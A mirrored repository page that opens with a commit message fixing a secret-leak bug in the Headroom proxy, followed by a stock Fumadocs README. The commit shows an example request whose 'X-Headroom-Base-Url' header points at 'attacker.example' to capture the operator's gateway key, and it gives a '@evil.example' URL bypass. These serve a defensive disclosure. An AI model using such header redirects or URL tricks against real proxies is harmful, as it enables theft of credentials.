mirror of
https://github.com/headroomlabs-ai/headroom.git
synced 2026-08-27 14:17:10 -04:00
`x-headroom-base-url` lets a client pick the upstream for a single
request. `*_extra_headers` is operator-configured, marked secret=True in
the settings store, and its own help text uses an API key as the example
value. The two met in the wrong order:
openai.py:3127 headers = merge_extra_headers(headers, ...)
openai.py:3134 upstream_base_url = _resolve_openai_upstream_base(...)
The secret was merged before the destination was known, so
POST /v1/messages
X-Headroom-Base-Url: https://attacker.example
reached the attacker's host carrying the operator's gateway key. One
request, no user interaction, from anything able to reach the proxy port.
Same shape on the Anthropic Messages route and /v1/responses.
The rule now is the one `copilot_auth.is_copilot_upstream_url` already
applied to Headroom's own Copilot token, generalized: a secret only
travels to a host the operator designated -- a configured provider
target, or one listed in HEADROOM_UPSTREAM_ALLOWED_HOSTS. Undesignated
upstreams are still proxied, just without the secret, and the refusal is
logged once per host with the remedy in the message.
`upstream_url` is a required keyword argument on merge_extra_headers
rather than an optional one. That is the actual fix: a forwarder cannot
merge a secret without declaring where it goes, so this cannot silently
come back the next time a handler is added. All nine call sites now
declare their destination.
Matching is on the parsed hostname, never the URL string -- comparing
whole strings lets `https://api.anthropic.com@evil.example` through and
makes a base URL match while base+path does not.
|
||
|---|---|---|
| .. | ||
| app | ||
| components | ||
| content/docs | ||
| lib | ||
| overrides | ||
| screenshots | ||
| .gitignore | ||
| bun.lock | ||
| claude-code-bedrock-headroom.md | ||
| context-mode-integration-analysis.md | ||
| next.config.mjs | ||
| observability.md | ||
| package-lock.json | ||
| package.json | ||
| platform-feature-matrix.json | ||
| platform-stabilization.md | ||
| postcss.config.mjs | ||
| proxy.ts | ||
| README.md | ||
| source.config.ts | ||
| tsconfig.json | ||
| vercel.json | ||
docs
This is a Next.js application generated with Create Fumadocs.
Run development server:
npm run dev
# or
pnpm dev
# or
yarn dev
Open http://localhost:3000 with your browser to see the result.
Explore
In the project, you can see:
lib/source.ts: Code for content source adapter,loader()provides the interface to access your content.lib/layout.shared.tsx: Shared options for layouts, optional but preferred to keep.
| Route | Description |
|---|---|
app/(home) |
The route group for your landing page and other pages. |
app/docs |
The documentation layout and pages. |
app/api/search/route.ts |
The Route Handler for search. |
Fumadocs MDX
A source.config.ts config file has been included, you can customise different options like frontmatter schema.
Read the Introduction for further details.
Learn More
To learn more about Next.js and Fumadocs, take a look at the following resources:
- Next.js Documentation - learn about Next.js features and API.
- Learn Next.js - an interactive Next.js tutorial.
- Fumadocs - learn about Fumadocs